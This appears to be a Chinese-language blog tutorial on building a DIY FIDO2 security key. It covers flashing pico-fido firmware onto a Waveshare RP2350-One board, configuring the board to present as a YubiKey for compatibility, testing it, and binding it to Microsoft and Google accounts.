</div></div></div><div>Passkey 简单原理图</div><p>与之相比，FIDO 联盟与 FIDO2 则是一个比较新生代的技术协议——该联盟于 2012 年建立，与 W3C 联合开发的 FIDO2 大规模推广在 2019 年开始进行。如今，FIDO2 早已正式成为全球通用的 Web 认证标准。科技巨头如微软、谷歌、苹果等在其生态系统中全面支持该标准，用户不仅可以使用物理安全密钥，还可以用手机或电脑自带的指纹识别、人脸识别直接登录支持 FIDO2 的网站。</p><p>除了这些比较通用的加密协议，我们日常生活中见到的安全密钥大部分都是和私有加密协议，比如软件的加密狗、银行给的 U 盾、财务税控盘、动态口令卡或是动态密码器等。当然，受限于文章篇幅，我也不打算对这类产品详细展开，大家只要类似的产品其实也是安全密钥就好。</p><p>需要注意的是，如果你弄丢了实体密钥，并且账号登录选项只配置了通行密钥，这会将失去你账号的授权，很难再登上去，所以 <strong>请务必保管好你的密钥！！！</strong></p></section>
<section><h2>P2: 为什么我们要选择「安全密钥」？<a href="#p2-为什么我们要选择安全密钥"><span>#</span></a></h2><p>想必大家可能觉得既然有了短信验证码，或是应用内二维码，或是有了基于时间的一次性密码，似乎就没必要用安全密钥了。但这个想法实际上并不对，不然银行也没必要给每一个打开网银的用户配上一个 U 盾了。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/ewBet9e.3rbujmtmlg.gif" alt="通行密钥概念图" /><figcaption>通行密钥概念图</figcaption></figure><p></p><p>让我们回顾一下身份认证发展史，就可以看到安全专家们为了保障用户与企业的安全可谓是殚精竭虑。</p><section><h3>一、短信 SMS 验证<a href="#一短信-sms-验证"><span>#</span></a></h3><p>短信 SMS 作为目前广泛用于双重认证，甚至在不少服务中是登录时的唯一凭证。但作为 1986 年就定义的协议，时至今日 <strong>SMS 早就已经落伍了</strong>！关于 SMS 通信通道不安全的研究已经有很多了，利用 GSM 劫持和短信嗅探进行电信诈骗的案例也比比皆是。所以它虽然方便，但从安全的角度来看短信确实不适合作为首要（甚至是唯一的）双重认证的手段。</p></section><section><h3>二、基于2FA的验证器通知验证(MFA)<a href="#二基于2fa的验证器通知验证mfa"><span>#</span></a></h3><div><div><div></div><div>敬请参阅：</div></div><div><p><a href="https://learn.microsoft.com/zh-cn/entra/identity/authentication/concept-authentication-authenticator-app" target="_blank">Microsoft Authenticator 身份验证方法 - Microsoft Entra ID | Microsoft Learn</a></p></div></div><p>我们以 Microsoft Authenticator 为例：</p><p>使用 Microsoft Authenticator 设置双因素身份验证后，每次尝试在线访问帐户时，您都会在移动设备上收到通知或需要提供以验证身份的验证码。 这增加了额外的安全层，因为只有您才能访问您的移动设备。 请记住保持 Microsoft Authenticator 应用程序更新，并使用 PIN 码或面部识别来保护您的移动设备，以防止未经授权的访问。</p></section><section><h3>三、TOTP协议<a href="#三totp协议"><span>#</span></a></h3><p>不少网站和服务都会采用基于时间的一次性密码 TOTP，TOTP 确实要比短信来得安全得多。首先，与传统的静态密码相比，TOTP 动态生成的一次性密码更加安全，因为它只在特定的时间段内有效，并且生成过程基于共享的密钥和相同的时间，而共享的密钥只会在初次设置时进行交换。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/rwQHCCw_d.3uvghcn7nu.webp" alt="TOTP 协议原理" /><figcaption>TOTP 协议原理</figcaption></figure><p></p><p>其次，实现 TOTP 技术因为不需要专门的硬件，所以实现成本很低，用户使用时只需要安装一个支持 TOTP 的软件即可，无论是智能手机、可穿戴设备或是电脑上都有对应的软件可以选择。最后，TOTP 对于网站和服务来说也非常便于接入到身份验证系统中，因此 TOTP 支持得非常广泛。</p><div><div><img alt="@startuml

skinparam componentStyle rectangle
skinparam rectangle {
    BackgroundColor&lt;&lt;user&gt;&gt; #6699CC
    FontColor&lt;&lt;user&gt;&gt; white
    BackgroundColor&lt;&lt;time&gt;&gt; #9999FF
    BackgroundColor&lt;&lt;secret&gt;&gt; #C" src="https://www.plantuml.com/plantuml/svg/dPB1QkCm48RlynH3Usx8AU1Gijqw61yITa7s0qpjmHQnfLIITobBtdsH5BlPr0rbVVhHVEDV_sYUh2FZXhu3i0UfZcIenqhtHwrOEU7UEaR3bIFLT7o1J6Vu1n0HdwawD4OFgavrfytZus3PR3PulrebIPe69jFA_LlztKh7y_rEzkpxaoH9icoUiLmPTfvAq-LokRnscUetV5goRVo3_-QPdbmLe2nRhJxQZEKRBfrkf1fjFejJltZYU_ZW1F0-uxlYH_7p3icY5-UHNvHBooQKlNZkT7KuCvzoEBx175R8dYDMuFWISvm8yusamFTvpx6fUJiwtHWwjhB2d6mR-t8Sto1qdU23X_brldIKD-9joT4BsNZtBSQ9tWmelXnG_6T0SHNmgcllT-TR8FSuhT8SkVCh5C0TJWjrdja9eCI7XmrkSOsXX8PV1xOEjk5S2115L3a8CQayg3skSL3oTM2iTCsm3wSxW5BWOk6xSOqnEzgM3DT83WqtqZf3JcfrGTvtKl6Y9jjo3L16rpBtnAZcNU69LJtqtLy0" loading="lazy" /></div></div><div>TOTP 工作原理图</div><p>但 TOTP 也有自己的局限，TOTP 最大的问题就是不能抵御中间人攻击，在 MitM 攻击中，攻击者会在通信的两端之间插入自己的设备，以拦截、篡改和窃取数据。如果用户正在遭受 MitM 攻击，攻击者不仅会伪造一个有用户名和密码的登陆框，还会伪造一个看起来像身份验证令牌的页面，要求用户输入他们的令牌信息。然后，攻击者可以使用这些信息欺骗真正的身份验证服务器，并成功访问用户的帐户。</p><p>除了不能抵御 MitM，使用 TOTP 的步骤我也觉得有点麻烦。首先就是输入麻烦，如果用密码管理工具快速填充密码的话，往往还需要单独打开一个 TOTP 的软件手动输入那一串验证码；如果把 TOTP 同样保存到那个密码管理工具，不免有把「鸡蛋都放一个篮子里」的嫌疑。</p><p>这时候随着银行卡一起给我的银行 U 盾给了我新的灵感，在大额转账的时候只需要点一下 U 盾上的按钮就可以完成身份验证，可以说是非常方便。而和 U 盾类似的安全密钥自然就成为了我替代传统 TOTP 的方式。</p></section><section><h3>四、物理安全密钥<a href="#四物理安全密钥"><span>#</span></a></h3><p>用安全密钥存储和生成一次性密码的方法也被称为 U2F（通用第二因素），基于安全密钥「软件只能写入密钥但不能读取密钥」的特性， U2F 也能有效地抵御 MItM 攻击。</p><div><div><div>Passkey sign in🌐 Server👤 User (Device)🌐 Server👤 User (Device)Passkey🔐 Private key | 🌍 Public keySolve this challenge🔒 eb9695b23...Here's the solution🔓 48d6a0f48...✅ That solution is valid. You're signed in!
</div><div>Passkey sign in🌐 Server👤 User (Device)🌐 Server👤 User (Device)Passkey🔐 Private key | 🌍 Public keySolve this challenge🔒 eb9695b23...Here's the solution🔓 48d6a0f48...✅ That solution is valid. You're signed in!
</div></div></div><div>安全密钥基本原理</div><p>当我们使用安全密钥进行认证的时候，网页会首先发送一个「挑战（challenge）」给安全密钥，安全密钥会根据内部存储的私钥（可以理解成信箱的钥匙），解开这个「挑战（challenge）」并把对应的结果返回给服务器。无论是谁都看不到放在安全密钥的私钥，而服务器上只有正确的公钥加密的信息才可以被私钥解锁，因为投递人只有知道那个信箱是你才能把信寄给你。</p><p>除了更安全，安全密钥自然也有着使用方便的特点，在电脑平台上直接插入到 USB 接口中就可以让其他程序调用，身份验证时也只需要额外进行一次触摸即可。至于在移动上，除了插入接口进行认证，也可以在支持 NFC 的设备上扫描 NFC 进行验证。整个流程非常简单，就和使用银行 U 盾一样。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/AQ3z2ce_d.7ehe75q47h.webp" alt="中间人攻击示意图" /><figcaption>中间人攻击示意图</figcaption></figure><p></p><p>前面我们也提到过，安全密钥还支持存储多种不同的加密类型，如果网站或者服务不支持 U2F 的话，不少安全密钥，比如 Yubikey 旗下的产品也支持存储支持更为广泛的 TOTP，填写时也只需要简单触摸一下安全密钥就可以自动填充。另外一些加密类型也可以在特定的场景下发挥作用，比如 PIV 智能卡可以用于替代门禁卡，OpenPGP 则是加密文件、邮件的常用方式。</p><p>安全密钥小巧的体型也能算是它的一个优点，携带会非常方便；不过这其实也是一个缺点，小巧的体型也意味着容易遗失。如果设备丢失，不仅需要需要重新配置身份验证过程，还有可能被身份认证挡在门外。所以如果要使用安全密钥除了 FIDO2 以外的加密类型的话，我的建议是多准备一个安全密钥进行备份；而 FIDO2 作为实现通信密钥的基石，可以使用身边的手机和其他支持的软件额外进行设置。</p><p>安全密钥虽然有着众多的加密类型，但也不是万能的，如果网站只愿意使用 SMS 或者私有认证方式进行两步认证的方式的话，安全密钥自然也帮不上忙；安全密钥的使用成本也不低，毕竟一次就要买 2 个，如果丢失的话也需要再次入手，对于大部分人来说确实不那么值得。</p><p>不过，目前来看安全密钥也算是解决了我此前使用软件 TOTP 时的种种不满，顺便还让一部分账户变得更为安全了。</p></section></section>
<section><h2>P3: 硬件挑选<a href="#p3-硬件挑选"><span>#</span></a></h2><p>既然你已经知道硬件密钥是什么了，那么我们就来看看目前互联网上主流的安全密钥方案：</p><section><h3>一、YubiKey<a href="#一yubikey"><span>#</span></a></h3><p><a href="https://www.yubico.com/" target="_blank">Yubico</a> 是一家美国的公司，是 YubiKey 的制造商。<a href="https://www.yubico.com/product/yubikey-5-series/yubikey-5c-nfc/" target="_blank">YubiKey</a> 是这家公司生产的硬件安全密钥。这个东西有点像以前很多银行要用的「U 盾」，是硬件层面保障安全性的一个东西。</p><p>2023 年， Cloudflare 推出的 <a href="https://blog.cloudflare.com/making-phishing-defense-seamless-cloudflare-yubico/" target="_blank">Yubikey 促销</a> 掀起了一波小小的硬件密钥热潮, 很多人都通过国际代购，转运低价购入了 Yubikey. 不过转眼过去了两年, 之后再没有过类似的优惠, 国内现货的价格也一直居高不下 (目前为 ~500RMB).</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTqxHO.96ad229ogd.png" alt="Yubico YubiKey 5 系列" /><figcaption>Yubico YubiKey 5 系列</figcaption></figure><p></p><p>看到这个产品，我想说的一句话是：<strong>这太TM贵了！</strong> 这样的价格对我一个 安卓人 学生来说是承担不起的（（。如果这样的小玩意弄丢了，这将是一个极大的损失（同时账号也丢了）！</p></section><section><h3>二、OpenSK<a href="#二opensk"><span>#</span></a></h3><p>由谷歌开源的 <a href="https://github.com/google/OpenSK" target="_blank">OpenSK</a> 使用的是 nRF52840 方案，淘宝上可以搜索到 nRF52840-MDK USB Dongle 相关硬件, 但硬件价格在 100-240RMB 之间，成本也巨大。</p><a href="https://github.com/google/OpenSK" target="_blank"><div><div><div><div></div><div>google</div></div><div>/</div><div>OpenSK</div></div><div></div></div><div>OpenSK is an open-source implementation for security keys written in Rust that supports both FIDO U2F and FIDO2 standards.</div><div><div>—</div><div>—</div><div>Apache-2.0</div><span>Rust</span></div></a></section><section><h3>三、CanoKeys<a href="#三canokeys"><span>#</span></a></h3><p><a href="https://docs.canokeys.org/zh-hans/" target="_blank">CanoKeys</a> 虽然有 nRF 和 STM32 的方案, 但官方已经表明 <strong>任何接触到设备的人可以获取明文密钥</strong> ！不适合日用。官方在淘宝有售卖使用 HED CIU98320B 的安全版本 CanoKey Pigeon 和 CanoKey Canary.</p></section><section><h3>四、Picokey<a href="#四picokey"><span>#</span></a></h3><div><div><div></div><div>提醒！</div></div><div><p>由于项目作者 <a href="https://github.com/polhenarejos" target="_blank">Polhenarejos</a> 在未告知用户的情况下肆意对项目改变策略，进行商业化转变，引起社区部分资深用户的愤怒，详见 <a href="https://github.com/polhenarejos/pico-fido/issues/216" target="_blank">Issues | #216 Pico Commissioner is unavailable - GitHub • polhenarejoys/pico-fido</a>。建议使用 <a href="https://github.com/librekeys/pico-fido2" target="_blank">社区提供的固件项目</a></p></div></div><p>以上三个方案成本都非常高昂，至少都在 100 RMB 以上。还好前人们都作总结了，都推荐基于 Rasbperry Pi RP2040/RP2350 或 ESP32S3 开发板的 <a href="https://github.com/polhenarejos/pico-fido2" target="_blank">Pico Fido2 项目</a>，其中树莓派的芯片开发板选择多，流行度高，在大陆易于买到，且价格很低 (约 30RMB)。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/mnSKMEI_d.77e6bq4e0n.webp" alt="Picokey 官网页面" /><figcaption>Picokey 官网页面</figcaption></figure><p></p><a href="https://github.com/librekeys/pico-fido2" target="_blank"><div><div><div><div></div><div>librekeys</div></div><div>/</div><div>pico-fido2</div></div><div></div></div><div>Pico Fido + Pico OpenPGP</div><div><div>—</div><div>—</div><div>NOASSERTION</div><span>C</span></div></a><p>而恰好, 本次的 Pico Keys 项目就用到了<code>RP2350</code>这款芯片的<code>Secure Boot</code>和<code>OTP 功能</code>用于保护保存的密钥在物理接触时不被提取或复制, 所以我更相信它的安全性。</p></section><section><h3>硬件购买<a href="#硬件购买"><span>#</span></a></h3><p><code>RP2350</code> 只是芯片型号，市面上有很多搭载该芯片的开发板，经前人们推荐我挑选了<code>微雪Waveshare</code>的<code>RP2350-One</code>，这款芯片可以非常轻松的在淘宝上以 30 元左右的价格包邮买到。Pico Keys 还支持其他各式各样的开发板, 可以自行选择最容易购买到或者最便宜的。</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTj8KI.2yyz1wed71.png" alt="某宝商品示意" /><figcaption>某宝商品示意</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/peTjNa8.icqmz7q71.jpg" alt="购买到的 Waveshare RP2350-One, 实际大小近似一个较小的 U 盘" /><figcaption>购买到的 Waveshare RP2350-One, 实际大小近似一个较小的 U 盘</figcaption></figure></div></section></section>
<section><h2>P4: 刷入固件&amp;配置<a href="#p4-刷入固件配置"><span>#</span></a></h2><section><h3>准备材料<a href="#准备材料"><span>#</span></a></h3><ol>
<li>
<p>Waveshare RP2350-One 开发板(其他开发板参考其他相对应的教程)</p>
</li>
<li>
<p>在 Pico Fido2 项目下载下来的 UF2 固件(<a href="https://github.com/polhenarejos/pico-fido/releases/download/v7.6/pico_fido_pico2-7.6.uf2" target="_blank">pico_fido_pico2-7.6.uf2</a> 或者下载专用于微雪的FIDO2固件👉：<a href="https://github.com/polhenarejos/pico-fido/releases/download/v6.6/pico_fido_waveshare_rp2350_one-6.6.uf2" target="_blank">pico_fido_waveshare_rp2350_one-6.6.uf2</a>)</p>
</li>
<li>
<p>一台搭载了 Windows 10 22H2 或 Windows 11 24H2 及以上的 PC/笔记本 (Linux 任意主流发行版任意内核版本也行)，且确保没有附带任何不安全的环境（比如被入侵木马）</p>
</li>
</ol></section><section><h3>Step1: 刷写固件<a href="#step1-刷写固件"><span>#</span></a></h3><p>详细步骤：</p><ul>
<li>按住开发板上的<code>BOOT</code>键插入电脑，将会在资源管理器中看到它识别成一个U盘</li>
<li>把下载好的UF2固件拖入/复制到U盘</li>
</ul><p>做完过后，它会自动刷入并重启, 全程丝滑无需任何驱动或专有工具。接下来你需要拔出开发板并等待1分钟，以便后续操作顺利。</p></section><section><h3>Step2: 设备配置<a href="#step2-设备配置"><span>#</span></a></h3><div><div><div></div><div>警告</div></div><div><p>这个步骤里边参考资料给出的<code>Pico Comissioner</code>在线配置工具因商业策略改变，已被作者宣布下线并替换成付费订阅的<code>Picokey App</code>，所以我将改成自己摸索到的免费方案分享出来
消息来源：<a href="https://www.v2ex.com/t/1183853" target="_blank">Pico Commissioner 网页已经被开发者正式下线，换成了收费软件 - V2EX</a></p></div></div><p>目前还有现存的在线版<a href="https://sst311212.github.io/pico-fido2/" target="_blank">Pico Commissioner</a>供大家使用，操作方式与原先的基本相同。</p><p>或者使用<a href="https://github.com/librekeys/picoforge" target="_blank">Picoforge</a>项目进行本地配置，</p><a href="https://github.com/librekeys/picoforge" target="_blank"><div><div><div><div></div><div>librekeys</div></div><div>/</div><div>picoforge</div></div><div></div></div><div>A commissioning tool for pico-fido firmware based hardware keys.</div><div><div>—</div><div>—</div><div>AGPL-3.0</div><span>Rust</span></div></a><section><h4>在线版具体核心步骤：<a href="#在线版具体核心步骤"><span>#</span></a></h4><ol>
<li>
<p>插入开发板，在WebUSB页面点击<code>Connect</code>，浏览器弹出提示后点确认连接，如果能正常显示信息则连接成功</p>
</li>
<li>
<p>点击<code>PHY</code>界面，跟着设置如下：</p>
<ul>
<li>设置 Vendor 为: Yubikey5</li>
<li>VID &amp; PID 保持默认 (其实在线版这里根本改不了)</li>
<li>Product Name 设置为: <code>Yubico Yubikey</code></li>
<li>按钮超时时间可自己设置，这里设置为<code>30</code>秒</li>
<li>LED GPIO 引脚(Pin)设置为<code>16</code>，亮度设置为<code>1-7</code>之间，Options勾选<code>Dimmable</code>和<code>Steady</code>，LED驱动选择<code>WS2812</code>或<code>WS2812_Swap</code></li>
</ul>
</li>
<li>
<p>设置完后，点击<code>Commission</code>按钮应用设置，记得为密钥设置PIN码并记住。</p>
</li>
</ol><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/pe7Sc6J.et4p9et0a.png" alt="社区提供的 Pico Comissioner 配置界面" /><figcaption>社区提供的 Pico Comissioner 配置界面</figcaption></figure><p></p></section><section><h4>Picoforge 配置教程核心步骤：<a href="#picoforge-配置教程核心步骤"><span>#</span></a></h4><ol>
<li>
<p>插入开发板，点击左侧<code>Configuration</code>进入界面，并在左下角点击<code>Refresh</code>，确认设备状态显示为<code>Online</code>并且<code>Overview</code>界面信息显示正常后开始操作</p>
</li>
<li>
<p>跟着设置如下：</p>
<ul>
<li>Identity 板块 Vendor Preset 选择<code>YubiKey 5 (1050:0407)</code></li>
<li>Vendor ID 和 Product ID 保持默认(值分别为<code>1050</code>和<code>0407</code>)</li>
<li>Product Name 设置为: <code>Yubico Yubikey</code></li>
<li>LED GPIO 引脚(Pin)设置为<code>16</code>，LED驱动选择<code>WS2812 (Neopixel)</code>，亮度设置为<code>1-7</code>之间，勾选<code>LED Dimmable</code>和<code>LED Steady Mode</code></li>
<li>按钮超时时间可自行设置</li>
<li>开启<code>Power Cycle on Reset</code></li>
</ul>
</li>
<li>
<p>设置完成后，点击<code>Apply Change</code>按钮应用设置，记得为密钥设置PIN码并记住。</p>
</li>
</ol><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/2kDvev3_d.232hmg5aa6.webp" alt="Picoforge 配置界面" /><figcaption>Picoforge 配置界面</figcaption></figure><p></p><div><div><div></div><div>⚠️警告！</div></div><div><p>如果你想为了安全起见，可以开启<code>Secure Boot</code>和<code>Secure Lock</code>，但是这样开启后只能刷入Picokey提供的官方固件，不能再进行二次开发，建议正式使用的时候再开启！
如果你又想 DIY 又想安全的话可以尝试<a href="https://github.com/polhenarejos/pico-fido/issues/106" target="_blank">自签</a>。</p></div></div></section></section><section><h3>测试密钥可用性<a href="#测试密钥可用性"><span>#</span></a></h3><div><div><div></div><div>注意</div></div><div><p>如果你是第一次使用应该会提示你设置PIN码，如果在此之前就设置PIN码了只需输入之前设置的PIN码即可(忘了就白搭了~)</p></div></div><p>访问<a href="https://webauthn.io/" target="_blank">Webauthn.io</a>，测试一下这把 DIY 密钥的功能，根据网站与浏览器的引导进行操作即可。</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/XFuQY1L_d.1sfntaqbmf.webp" alt="WebAuthn 主界面" /><figcaption>WebAuthn 主界面</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/WlgvjuH_d.3k8mo79v1f.webp" alt="通过测试示意" /><figcaption>通过测试示意</figcaption></figure></div></section></section>
<section><h2>P5: 管理你的密钥<a href="#p5-管理你的密钥"><span>#</span></a></h2><div><div><div></div><div>注意</div></div><div><p>如果你之前为密钥设置的 Product Name 不是“<code>Yubico Yubikey</code>”，Yubico Authenticator 将无法识别你的 USB 密钥设备。</p></div></div><p>访问<code>Yubico</code>官网下载<a href="https://www.yubico.com/products/yubico-authenticator/" target="_blank">Yubico Authenticator</a>，支持PC与移动端，打开后插入密钥可以看到能成功识别。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/kkzjMYv.8s3xb7gig5.png" alt="使用 Yubico Authenticator 管理你的密钥" /><figcaption>使用 Yubico Authenticator 管理你的密钥</figcaption></figure><p></p><p><a href="https://play.google.com/store/apps/details?id=com.yubico.yubioath" target="_blank">Android 平台</a>也有官方支持的客户端，但需手机/平板支持 OTG，并且识别功能正常(找个U盘插一插就能知道可不可以正常识别了，<strong>但请你警惕 Bad USB！</strong> )</p><p>在 Android 设备上识别到之后，一般来讲每当在浏览器发现有新的登录请求发出后会唤醒Yubico Authenticator，可以正常识别、使用。如果不能正常使用，问题应该出在Authn管理器上，一般来讲你的安卓、iOS都是可以用的（因为一般都做好了适配，且新版安卓可以自选Authn管理器），我目前的测试当中就 Via 浏览器是不能正常调用的，而Edge、Chrome与Firefox一起正常。</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/dYlz5ig_d.32ikzm9084.webp" alt="神秘米板4 + 神秘 OTG 转接器.jpg" /><figcaption>神秘米板4 + 神秘 OTG 转接器.jpg</figcaption></figure><p></p><p>Yubico也提供官方 CLI 管理工具<a href="https://github.com/Yubico/yubikey-manager" target="_blank">Yubikey Manager</a>，安装完在插入密钥后，使用<code>ykman</code>命令工具可以查询密钥状态。</p><a href="https://github.com/Yubico/yubikey-manager" target="_blank"><div><div><div><div></div><div>Yubico</div></div><div>/</div><div>yubikey-manager</div></div><div></div></div><div>Python library and command line tool for configuring any YubiKey over all USB interfaces.</div><div><div>—</div><div>—</div><div>BSD-2-Clause</div><span>Python</span></div></a><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>PS C:\</span><span>&gt;</span><span> ykman list</span></div></div><div><div><div>2</div></div><div><span>ykman list</span></div></div><div><div><div>3</div></div><div><span>YubiKey 5A </span><span>(</span><span>7.6</span><span>.</span><span>0</span><span>)</span><span> </span><span>[</span><span>OTP</span><span>+</span><span>FIDO</span><span>+</span><span>CCID</span><span>]</span><span> Serial: xxxxxxxx</span></div></div><div><div><div>4</div></div><div><span>PS C:\</span><span>&gt;</span><span> ykman fido info</span></div></div><div><div><div>5</div></div><div><span>AAGUID:                 xxxxxxxx</span><span>-</span><span>xxxx</span><span>-</span><span>xxxx</span><span>-</span><span>xxxx</span><span>-</span><span>xxxxxxxxxxxx</span></div></div><div><div><div>6</div></div><div><span>PIN:                    </span><span>8</span><span> attempt</span><span>(</span><span>s</span><span>)</span><span> remaining</span></div></div><div><div><div>7</div></div><div><span>Minimum PIN length:     </span><span>4</span></div></div><div><div><div>8</div></div><div><span>Always Require UV:      On</span></div></div><div><div><div>9</div></div><div><span>Enterprise Attestation: Disabled</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>需要注意的是</strong>：默认情况下 PIN 只能尝试 8 次: 每尝试 3 次会临时 BLOCK 密钥, 需要重新插拔后才能继续尝试, 总计重试满 8 次后密钥永久被 BLOCK (俗称被ban掉了), 此时只能重置, 重置会丢失所有存储的密钥。(硬件本身还是可以继续正常使用的)</p></section>
<section><h2>P6: 将安全密钥绑定到你的互联网账号<a href="#p6-将安全密钥绑定到你的互联网账号"><span>#</span></a></h2><p>以微软账号和 Google 账号为例：</p><section><h3>微软账号 (Microsoft Account)<a href="#微软账号-microsoft-account"><span>#</span></a></h3><p>登录<code>account.live.com</code>，进入管理界面后点击侧边栏的<code>安全</code>选项，然后点击“管理登录方式”并进行安全验证</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/j4c0Ifn_d.2rvr6gu1ha.webp" alt="Microsoft Account 安全 界面" /><figcaption>Microsoft Account 安全 界面</figcaption></figure><p></p><p>在这个界面中滑下来找到<code>添加另一种登录账户的方式。</code>，然后在“添加一种新的登录或验证方法”窗口中选择<code>人脸、指纹、PIN 或安全密钥</code></p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/oU4JW50.6ikwrpx4o5.png" alt="添加登录方式" /><figcaption>添加登录方式</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/1rgKfk9_d.86u9ownstq.webp" alt="添加一种新的登录或验证方法" /><figcaption>添加一种新的登录或验证方法</figcaption></figure></div><p>根据浏览器指引，会弹出新窗口引导你<code>选择保存密钥的位置</code>,这里选择<code>使用外部安全密钥</code>！</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/gcMXA8z_d.6m4ipfqog4.webp" alt="选择保存密钥的位置" /><figcaption>选择保存密钥的位置</figcaption></figure><p></p><p>接着会唤醒本地的 Windows 安全中心并继续引导你绑定安全密钥，插入密钥后输入PIN码，在提示“触摸安全密钥”时按下开发板密钥上的<code>BOOT</code>键即可，如提示“为密钥设置名称”则成功绑定！最后根据微软的提示为新绑定的密钥设置名称！</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/NOOUjdh_d.5q819zh21f.webp" alt="插入安全密钥" /><figcaption>插入安全密钥</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/mhpFVvr_d.6ikwrpxqcg.webp" alt="输入 PIN 码" /><figcaption>输入 PIN 码</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/zpdWcQv_d.7pwtu90pr.webp" alt="触摸安全密钥" /><figcaption>触摸安全密钥</figcaption></figure></div></section><section><h3>Google 账号<a href="#google-账号"><span>#</span></a></h3><p>登录<code>account.google.com</code>，进入管理界面后点击侧边栏的<code>安全性与登录</code>选项，然后点击“通行密钥和安全密钥”并进行安全验证</p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/Us4bdAR.7zr1th9wlj.png" alt="Google Account 安全性与登录 界面" /><figcaption>Google Account 安全性与登录 界面</figcaption></figure><p></p><p>进入后，点击<code>创建通行密钥</code></p><p></p><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/ztshcWl.5c1lj4gyer.png" alt="创建通行密钥" /><figcaption>创建通行密钥</figcaption></figure><p></p><p>接下来的指引与微软账号配置密钥时相同，就是<code>选择存储在外部安全密钥-插入密钥-输入 PIN 码-触摸安全密钥</code>即可，最后提示如下图则为成功绑定，后续可以在谷歌密钥管理界面自己设定密钥名称。</p><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/TA7mMn6_d.6m4ipfz00c.webp" alt="选择保存密钥的位置" /><figcaption>选择保存密钥的位置</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/gNeGyqh_d.3k8mo7xrju.webp" alt="成功绑定" /><figcaption>成功绑定</figcaption></figure></div><p>根据这波指引下来：<strong>🎉恭喜你！你已成功进入安全密钥令牌的世界！🎉</strong> 您的账号安全性将几乎无人匹敌(哦是吗?)，大大降低了被盗号的风险与概率。</p></section></section>
<section><h2>P7: 其它小技巧<a href="#p7-其它小技巧"><span>#</span></a></h2><p>硬件密钥不仅仅只用作互联网账号凭证登录，也可以用于 SSH 私钥(参考 Lyc8503 的 Blog)，还支持 TOTP、PIV、OATH、OpenPGP 等验证协议，具体玩法留给大家自行探索了~</p></section>
<section><h2>P8: 为安全密钥定制保护外壳<a href="#p8-为安全密钥定制保护外壳"><span>#</span></a></h2><p>咱们 DIY 定制的硬件密钥本质上也只是一个小小的 USB 单片机，仔细想想这样一个电路板裸露出来未免也不太好，还容易损坏。网络上目前的方案是热熔胶套上或者 3D 打印树脂外壳，这样就不用再担心使用过程中的电路板磨损与折坏了。</p><p>鄙人不会 3D 打印与建模，这里我推荐去<a href="https://www.jlc-3dp.cn/" target="_blank">嘉立创3D打印服务</a>官网下单，图纸原型使用 Pintable 平台的 <a href="http://printables.com/model/1129764-waveshare-rp2040-one-and-rp2350-one-case" target="_blank">Waveshare RP2040 One and RP2350 One case</a>，但是直接把图纸下载下来是不能直接提交到嘉立创平台去报价的，会报出一堆建模问题来，只好托人修改模型图纸直到通过嘉立创系统检测。</p><p>这里我将修改后图纸分享给大家，感谢某位不方便透露名字的大佬帮我修改外壳模型图纸！</p><div><div><div></div><div>网盘分享链接列表</div></div><div><p>全球分享链接：<a href="https://drive.google.com/drive/folders/144DZUFNJRase8agPh9k_35G4x_fnsSoA?usp=sharing" target="_blank">适用于微雪RP2350-One的3D保护外壳图纸 - Google 云端硬盘</a></p><p>大陆可用的分享链接：<a href="https://1815647577.share.123865.com/123pan/IzpzVv-dAJlA?pwd=rcAi#" target="_blank">适用于微雪RP2350-One的3D保护外壳图纸_123云盘免登录下载不限速</a> (提取码：rcAi)</p></div></div><p>我的外壳于 5 月 6 号成功到货，该外壳模具安装只需要将安全密钥根据底座开口朝向放入底座，再将带两个按钮的顶板轻轻合上即可。安装极其轻便且日后也容易拆卸。有了外壳再贴上微雪赠送的 Waveshare 品牌贴纸（开发板买来到货的时候那个无尘袋里一般有两个小贴纸），一个较为简陋的硬件密钥完全体就做好了！</p><blockquote><p><em>另附上期待已久的效果图.png</em></p></blockquote><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20260509-221303.6ikwrqnwo7.png" alt="Blender 外壳未闭合模型预览" /><figcaption>Blender 外壳未闭合模型预览</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/QQ20260509-221325.pfyig0gfd.png" alt="Blender 外壳闭合模型效果图" /><figcaption>Blender 外壳闭合模型效果图</figcaption></figure></div><div><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260506_174725.96ad23h3k6.jpg" alt="树脂外壳开箱" /><figcaption>树脂外壳开箱</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260506_174830.6po4n6a7nz.jpg" alt="安装示意" /><figcaption>安装示意</figcaption></figure><figure><img src="https://github.com/LingXi9374/picx-images-hosting/raw/master/IMG_20260506_175019.8advmn7f4m.jpg" 